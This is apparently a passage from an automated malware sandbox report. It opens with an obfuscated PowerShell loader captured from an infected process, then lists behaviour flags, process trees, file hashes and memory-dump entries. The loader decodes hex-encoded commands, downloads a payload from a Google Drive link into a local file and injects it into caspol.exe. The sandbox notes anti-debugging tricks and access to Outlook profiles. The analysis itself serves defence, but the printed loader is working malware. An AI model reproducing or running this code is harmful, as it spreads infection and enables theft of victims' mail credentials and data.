'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.($Presuffer7) $Gastrosc2;$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc3;$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.($Presuffer7) $Gastrosc4;$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.($Presuffer7) $Gastrosc5 ;}$Paleoant = Obli11 '9A94839F949DC2C3';$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';$Obli00=Obli11 'A2999E86A6989F959E86';$Obli01 = Obli11 'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli01;$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Obli02;$Gastrosc7 = Obli11 'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Gastrosc6;$Depr = fkp $Presuffer5 $Presuffer6;$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.($Presuffer7) $Gastrosc7;$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.($Presuffer7) $Gastrosc8;$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.($Presuffer7) $Gastrosc8;$letted2=$letted2+'\Forblo.dat';$Aurocyan='';if (-not(Test-Path $letted2)) {while ($Aurocyan -eq '') {.($Presuffer7) $Obli00;Start-Sleep 5;}Set-Content $letted2 $Aurocyan;}$Aurocyan = Get-Content $letted2;$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.($Presuffer7) $Gastrosc9;$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.($Presuffer7) $Aurocyan0;$Unerrantly132=$Gastrosc.count-646;$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.($Presuffer7) $Aurocyan1;$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.($Presuffer7) $Aurocyan2;$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.($Presuffer7) $Aurocyan3#"3⤵
- Blocklisted process makes network request
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵PID:2012
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2036
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
61KB
MD5fc4666cbca561e864e7fdf883a9e6661
SHA12f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5
SHA25610f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b
SHA512c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
342B
MD5e3604384c93ac27ad6a927db49861ac5
SHA142ee58e553526ec515bbf2944cd5000fed772172
SHA256e1ff0af7c3d38fd5e463c217d9b49860e5e9c8e7ad76fc0cf49869be45d3cc6c
SHA51254df3e1725ded5c9d04a0d2cd725b2fff70175a66a32263fcff78fb09667e906d779f2f5ca820d11bff6f7db4d66d78ad98a52684df1487697ea32cc8954a701
-
memory/1064-99-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-65-0x0000000073140000-0x00000000736EB000-memory.dmpFilesize
5.7MB
-
memory/1064-87-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-64-0x0000000075A91000-0x0000000075A93000-memory.dmpFilesize
8KB
-
memory/1064-98-0x0000000005B60000-0x00000000095FA000-memory.dmpFilesize
58.6MB
-
memory/1064-86-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-85-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-97-0x0000000073140000-0x00000000736EB000-memory.dmpFilesize
5.7MB
-
memory/1064-63-0x0000000000000000-mapping.dmp
-
memory/1064-77-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-74-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1064-68-0x0000000073140000-0x00000000736EB000-memory.dmpFilesize
5.7MB
-
memory/1064-69-0x0000000005B60000-0x00000000095FA000-memory.dmpFilesize
58.6MB
-
memory/1064-70-0x00000000772A0000-0x0000000077449000-memory.dmpFilesize
1.7MB
-
memory/1064-73-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/1080-67-0x0000000002260000-0x00000000022E0000-memory.dmpFilesize
512KB
-
memory/1080-66-0x0000000002260000-0x00000000022E0000-memory.dmpFilesize
512KB
-
memory/1080-62-0x0000000002260000-0x00000000022E0000-memory.dmpFilesize
512KB
-
memory/1080-61-0x0000000002260000-0x00000000022E0000-memory.dmpFilesize
512KB
-
memory/1080-60-0x000007FEF2C40000-0x000007FEF379D000-memory.dmpFilesize
11.4MB
-
memory/1080-59-0x000007FEF37A0000-0x000007FEF41C3000-memory.dmpFilesize
10.1MB
-
memory/1080-57-0x0000000000000000-mapping.dmp
-
memory/1516-55-0x0000000000000000-mapping.dmp
-
memory/1956-54-0x0000000000000000-mapping.dmp
-
memory/2004-56-0x000007FEFBB21000-0x000007FEFBB23000-memory.dmpFilesize
8KB
-
memory/2036-76-0x000000000086768E-mapping.dmp
-
memory/2036-88-0x0000000000870000-0x000000000430A000-memory.dmpFilesize
58.6MB
-
memory/2036-84-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/2036-91-0x0000000000400000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/2036-92-0x0000000000401000-0x0000000000615000-memory.dmpFilesize
2.1MB
-
memory/2036-94-0x0000000000400000-0x0000000000430000-memory.dmpFilesize
192KB
-
memory/2036-95-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/2036-96-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/2036-83-0x0000000077480000-0x0000000077600000-memory.dmpFilesize
1.5MB
-
memory/2036-79-0x00000000772A0000-0x0000000077449000-memory.dmpFilesize
1.7MB
-
memory/2036-78-0x0000000000870000-0x000000000430A000-memory.dmpFilesize
58.6MB